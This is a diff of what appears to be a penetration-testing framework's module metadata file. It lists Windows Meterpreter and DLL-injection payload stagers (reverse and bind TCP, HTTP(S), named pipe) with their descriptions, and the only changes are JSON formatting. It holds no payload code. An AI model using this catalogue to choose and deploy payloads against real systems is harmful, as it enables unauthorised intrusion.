"payload_windows/meterpreter/bind_hidden_tcp": { "name": "Windows Meterpreter (Reflective Injection), Hidden Bind TCP Stager", "fullname": "payload/windows/meterpreter/bind_hidden_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -253778,8 +225640,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -253790,9 +225651,7 @@ "payload_windows/meterpreter/bind_ipv6_tcp": { "name": "Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)", "fullname": "payload/windows/meterpreter/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -253820,8 +225679,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -253832,9 +225690,7 @@ "payload_windows/meterpreter/bind_ipv6_tcp_uuid": { "name": "Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)", "fullname": "payload/windows/meterpreter/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -253862,8 +225718,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -253874,9 +225729,7 @@ "payload_windows/meterpreter/bind_named_pipe": { "name": "Windows Meterpreter (Reflective Injection), Windows x86 Bind Named Pipe Stager", "fullname": "payload/windows/meterpreter/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -253904,8 +225757,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -253916,9 +225768,7 @@ "payload_windows/meterpreter/bind_nonx_tcp": { "name": "Windows Meterpreter (Reflective Injection), Bind TCP Stager (No NX or Win7)", "fullname": "payload/windows/meterpreter/bind_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -253946,8 +225796,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -253958,9 +225807,7 @@ "payload_windows/meterpreter/bind_tcp": { "name": "Windows Meterpreter (Reflective Injection), Bind TCP Stager (Windows x86)", "fullname": "payload/windows/meterpreter/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -253988,8 +225835,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -254000,9 +225846,7 @@ "payload_windows/meterpreter/bind_tcp_rc4": { "name": "Windows Meterpreter (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/windows/meterpreter/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -254032,8 +225876,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -254044,9 +225887,7 @@ "payload_windows/meterpreter/bind_tcp_uuid": { "name": "Windows Meterpreter (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)", "fullname": "payload/windows/meterpreter/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -254074,8 +225915,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -254086,9 +225926,7 @@ "payload_windows/meterpreter/find_tag": { "name": "Windows Meterpreter (Reflective Injection), Find Tag Ordinal Stager", "fullname": "payload/windows/meterpreter/find_tag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -254115,8 +225953,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -254127,9 +225964,7 @@ "payload_windows/meterpreter/reverse_http": { "name": "Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (wininet)", "fullname": "payload/windows/meterpreter/reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -254157,8 +225992,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -254169,9 +226003,7 @@ "payload_windows/meterpreter/reverse_http_proxy_pstore": { "name": "Windows Meterpreter (Reflective Injection), Reverse HTTP Stager Proxy", "fullname": "payload/windows/meterpreter/reverse_http_proxy_pstore", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -254199,8 +226031,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -254211,9 +226042,7 @@ "payload_windows/meterpreter/reverse_https": { "name": "Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (wininet)", "fullname": "payload/windows/meterpreter/reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -254241,8 +226070,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -254253,9 +226081,7 @@ "payload_windows/meterpreter/reverse_ipv6_tcp": { "name": "Windows Meterpreter (Reflective Injection), Reverse TCP Stager (IPv6)", "fullname": "payload/windows/meterpreter/reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -254283,8 +226109,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -254295,9 +226120,7 @@ "payload_windows/meterpreter/reverse_named_pipe": { "name": "Windows Meterpreter (Reflective Injection), Windows x86 Reverse Named Pipe (SMB) Stager", "fullname": "payload/windows/meterpreter/reverse_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -254324,8 +226147,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -254336,9 +226158,7 @@ "payload_windows/meterpreter/reverse_nonx_tcp": { "name": "Windows Meterpreter (Reflective Injection), Reverse TCP Stager (No NX or Win7)", "fullname": "payload/windows/meterpreter/reverse_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -254366,8 +226186,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -254378,9 +226197,7 @@ "payload_windows/meterpreter/reverse_ord_tcp": { "name": "Windows Meterpreter (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)", "fullname": "payload/windows/meterpreter/reverse_ord_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -254408,8 +226225,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -254420,9 +226236,7 @@ "payload_windows/meterpreter/reverse_tcp": { "name": "Windows Meterpreter (Reflective Injection), Reverse TCP Stager", "fullname": "payload/windows/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -254450,8 +226264,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -254462,9 +226275,7 @@ "payload_windows/meterpreter/reverse_tcp_allports": { "name": "Windows Meterpreter (Reflective Injection), Reverse All-Port TCP Stager", "fullname": "payload/windows/meterpreter/reverse_tcp_allports", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -254492,8 +226303,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -254504,9 +226314,7 @@ "payload_windows/meterpreter/reverse_tcp_dns": { "name": "Windows Meterpreter (Reflective Injection), Reverse TCP Stager (DNS)", "fullname": "payload/windows/meterpreter/reverse_tcp_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -254535,8 +226343,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -254547,9 +226354,7 @@ "payload_windows/meterpreter/reverse_tcp_rc4": { "name": "Windows Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/windows/meterpreter/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -254579,8 +226384,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -254591,9 +226395,7 @@ "payload_windows/meterpreter/reverse_tcp_rc4_dns": { "name": "Windows Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", "fullname": "payload/windows/meterpreter/reverse_tcp_rc4_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -254623,8 +226425,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -254635,9 +226436,7 @@ "payload_windows/meterpreter/reverse_tcp_uuid": { "name": "Windows Meterpreter (Reflective Injection), Reverse TCP Stager with UUID Support", "fullname": "payload/windows/meterpreter/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -254665,8 +226464,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -254677,9 +226475,7 @@ "payload_windows/meterpreter/reverse_winhttp": { "name": "Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (winhttp)", "fullname": "payload/windows/meterpreter/reverse_winhttp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -254708,8 +226504,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -254720,9 +226515,7 @@ "payload_windows/meterpreter/reverse_winhttps": { "name": "Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (winhttp)", "fullname": "payload/windows/meterpreter/reverse_winhttps", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -254751,8 +226544,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -254763,9 +226555,7 @@ "payload_windows/meterpreter_bind_named_pipe": { "name": "Windows Meterpreter Shell, Bind Named Pipe Inline", "fullname": "payload/windows/meterpreter_bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -254792,8 +226582,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -254802,9 +226591,7 @@ "payload_windows/meterpreter_bind_tcp": { "name": "Windows Meterpreter Shell, Bind TCP Inline", "fullname": "payload/windows/meterpreter_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -254830,8 +226617,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -254840,9 +226626,7 @@ "payload_windows/meterpreter_reverse_http": { "name": "Windows Meterpreter Shell, Reverse HTTP Inline", "fullname": "payload/windows/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -254868,8 +226652,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -254878,9 +226661,7 @@ "payload_windows/meterpreter_reverse_https": { "name": "Windows Meterpreter Shell, Reverse HTTPS Inline", "fullname": "payload/windows/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -254906,8 +226687,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -254916,9 +226696,7 @@ "payload_windows/meterpreter_reverse_ipv6_tcp": { "name": "Windows Meterpreter Shell, Reverse TCP Inline (IPv6)", "fullname": "payload/windows/meterpreter_reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -254944,8 +226722,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -254954,9 +226731,7 @@ "payload_windows/meterpreter_reverse_tcp": { "name": "Windows Meterpreter Shell, Reverse TCP Inline", "fullname": "payload/windows/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -254982,8 +226757,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -254992,9 +226766,7 @@ "payload_windows/metsvc_bind_tcp": { "name": "Windows Meterpreter Service, Bind TCP", "fullname": "payload/windows/metsvc_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -255002,9 +226774,7 @@ "hdm " ], "description": "Stub payload for interacting with a Meterpreter Service", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -255018,8 +226788,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -255028,9 +226797,7 @@ "payload_windows/metsvc_reverse_tcp": { "name": "Windows Meterpreter Service, Reverse TCP Inline", "fullname": "payload/windows/metsvc_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -255038,9 +226805,7 @@ "hdm " ], "description": "Stub payload for interacting with a Meterpreter Service", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -255054,8 +226819,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -255064,9 +226828,7 @@ "payload_windows/patchupdllinject/bind_hidden_ipknock_tcp": { "name": "Windows Inject DLL, Hidden Bind Ipknock TCP Stager", "fullname": "payload/windows/patchupdllinject/bind_hidden_ipknock_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -255094,8 +226856,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -255106,9 +226867,7 @@ "payload_windows/patchupdllinject/bind_hidden_tcp": { "name": "Windows Inject DLL, Hidden Bind TCP Stager", "fullname": "payload/windows/patchupdllinject/bind_hidden_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -255136,8 +226895,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -255148,9 +226906,7 @@ "payload_windows/patchupdllinject/bind_ipv6_tcp": { "name": "Windows Inject DLL, Bind IPv6 TCP Stager (Windows x86)", "fullname": "payload/windows/patchupdllinject/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -255161,9 +226917,7 @@ "sf " ], "description": "Inject a custom DLL into the exploited process.\n\nListen for an IPv6 connection (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -255177,8 +226931,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -255189,9 +226942,7 @@ "payload_windows/patchupdllinject/bind_ipv6_tcp_uuid": { "name": "Windows Inject DLL, Bind IPv6 TCP Stager with UUID Support (Windows x86)", "fullname": "payload/windows/patchupdllinject/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -255203,9 +226954,7 @@ "OJ Reeves" ], "description": "Inject a custom DLL into the exploited process.\n\nListen for an IPv6 connection with UUID Support (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -255219,8 +226968,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -255231,9 +226979,7 @@ "payload_windows/patchupdllinject/bind_named_pipe": { "name": "Windows Inject DLL, Windows x86 Bind Named Pipe Stager", "fullname": "payload/windows/patchupdllinject/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -255243,9 +226989,7 @@ "UserExistsError" ], "description": "Inject a custom DLL into the exploited process.\n\nListen for a pipe connection (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -255259,8 +227003,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -255271,9 +227014,7 @@ "payload_windows/patchupdllinject/bind_nonx_tcp": { "name": "Windows Inject DLL, Bind TCP Stager (No NX or Win7)", "fullname": "payload/windows/patchupdllinject/bind_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -255283,9 +227024,7 @@ "vlad902 " ], "description": "Inject a custom DLL into the exploited process.\n\nListen for a connection (No NX)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -255299,8 +227038,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -255311,9 +227049,7 @@ "payload_windows/patchupdllinject/bind_tcp": { "name": "Windows Inject DLL, Bind TCP Stager (Windows x86)", "fullname": "payload/windows/patchupdllinject/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -255324,9 +227060,7 @@ "sf " ], "description": "Inject a custom DLL into the exploited process.\n\nListen for a connection (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -255340,8 +227074,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -255352,9 +227085,7 @@ "payload_windows/patchupdllinject/bind_tcp_rc4": { "name": "Windows Inject DLL, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/windows/patchupdllinject/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -255367,9 +227098,7 @@ "RageLtMan" ], "description": "Inject a custom DLL into the exploited process.\n\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -255383,8 +227112,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -255395,9 +227123,7 @@ "payload_windows/patchupdllinject/bind_tcp_uuid": { "name": "Windows Inject DLL, Bind TCP Stager with UUID Support (Windows x86)", "fullname": "payload/windows/patchupdllinject/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -255408,9 +227134,7 @@ "OJ Reeves" ], "description": "Inject a custom DLL into the exploited process.\n\nListen for a connection with UUID Support (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -255424,8 +227148,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -255436,9 +227159,7 @@ "payload_windows/patchupdllinject/find_tag": { "name": "Windows Inject DLL, Find Tag Ordinal Stager", "fullname": "payload/windows/patchupdllinject/find_tag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -255447,9 +227168,7 @@ "skape " ], "description": "Inject a custom DLL into the exploited process.\n\nUse an established connection", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -255463,8 +227182,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -255475,9 +227193,7 @@ "payload_windows/patchupdllinject/reverse_ipv6_tcp": { "name": "Windows Inject DLL, Reverse TCP Stager (IPv6)", "fullname": "payload/windows/patchupdllinject/reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -255488,9 +227204,7 @@ "sf " ], "description": "Inject a custom DLL into the exploited process.\n\nConnect back to the attacker over IPv6", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -255504,8 +227218,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -255516,9 +227229,7 @@ "payload_windows/patchupdllinject/reverse_nonx_tcp": { "name": "Windows Inject DLL, Reverse TCP Stager (No NX or Win7)", "fullname": "payload/windows/patchupdllinject/reverse_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -255528,9 +227239,7 @@ "vlad902 " ], "description": "Inject a custom DLL into the exploited process.\n\nConnect back to the attacker (No NX)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -255544,8 +227253,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -255556,9 +227264,7 @@ "payload_windows/patchupdllinject/reverse_ord_tcp": { "name": "Windows Inject DLL, Reverse Ordinal TCP Stager (No NX or Win7)", "fullname": "payload/windows/patchupdllinject/reverse_ord_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -255568,9 +227274,7 @@ "spoonm " ], "description": "Inject a custom DLL into the exploited process.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -255584,8 +227288,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -255596,9 +227299,7 @@ "payload_windows/patchupdllinject/reverse_tcp": { "name": "Windows Inject DLL, Reverse TCP Stager", "fullname": "payload/windows/patchupdllinject/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -255609,9 +227310,7 @@ "sf " ], "description": "Inject a custom DLL into the exploited process.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -255625,8 +227324,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -255637,9 +227335,7 @@ "payload_windows/patchupdllinject/reverse_tcp_allports": { "name": "Windows Inject DLL, Reverse All-Port TCP Stager", "fullname": "payload/windows/patchupdllinject/reverse_tcp_allports", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -255650,9 +227346,7 @@ "sf " ], "description": "Inject a custom DLL into the exploited process.\n\nTry to connect back to the attacker, on all possible ports (1-65535, slowly)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -255666,8 +227360,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -255678,9 +227371,7 @@ "payload_windows/patchupdllinject/reverse_tcp_dns": { "name": "Windows Inject DLL, Reverse TCP Stager (DNS)", "fullname": "payload/windows/patchupdllinject/reverse_tcp_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -255692,9 +227383,7 @@ "RageLtMan" ], "description": "Inject a custom DLL into the exploited process.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -255708,8 +227397,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -255720,9 +227408,7 @@ "payload_windows/patchupdllinject/reverse_tcp_rc4": { "name": "Windows Inject DLL, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/windows/patchupdllinject/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -255735,9 +227421,7 @@ "RageLtMan" ], "description": "Inject a custom DLL into the exploited process.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -255751,8 +227435,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -255763,9 +227446,7 @@ "payload_windows/patchupdllinject/reverse_tcp_rc4_dns": { "name": "Windows Inject DLL, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", "fullname": "payload/windows/patchupdllinject/reverse_tcp_rc4_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -255778,9 +227459,7 @@ "RageLtMan" ], "description": "Inject a custom DLL into the exploited process.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -255794,8 +227473,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -255806,9 +227484,7 @@ "payload_windows/patchupdllinject/reverse_tcp_uuid": { "name": "Windows Inject DLL, Reverse TCP Stager with UUID Support", "fullname": "payload/windows/patchupdllinject/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -255819,9 +227495,7 @@ "OJ Reeves" ], "description": "Inject a custom DLL into the exploited process.\n\nConnect back to the attacker with UUID Support", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -255835,8 +227509,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -255847,9 +227520,7 @@ "payload_windows/patchupmeterpreter/bind_hidden_ipknock_tcp": { "name": "Windows Meterpreter (skape/jt Injection), Hidden Bind Ipknock TCP Stager", "fullname": "payload/windows/patchupmeterpreter/bind_hidden_ipknock_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -255877,8 +227548,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -255889,9 +227559,7 @@ "payload_windows/patchupmeterpreter/bind_hidden_tcp": { "name": "Windows Meterpreter (skape/jt Injection), Hidden Bind TCP Stager", "fullname": "payload/windows/patchupmeterpreter/bind_hidden_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -255919,8 +227587,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -255931,9 +227598,7 @@ "payload_windows/patchupmeterpreter/bind_ipv6_tcp": { "name": "Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager (Windows x86)", "fullname": "payload/windows/patchupmeterpreter/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -255944,9 +227609,7 @@ "sf " ], "description": "Inject the meterpreter server DLL (staged).\n\nListen for an IPv6 connection (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -255960,8 +227623,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -255972,9 +227634,7 @@ "payload_windows/patchupmeterpreter/bind_ipv6_tcp_uuid": { "name": "Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)", "fullname": "payload/windows/patchupmeterpreter/bind_ipv6_tcp_uuid", - "aliases": [ - - 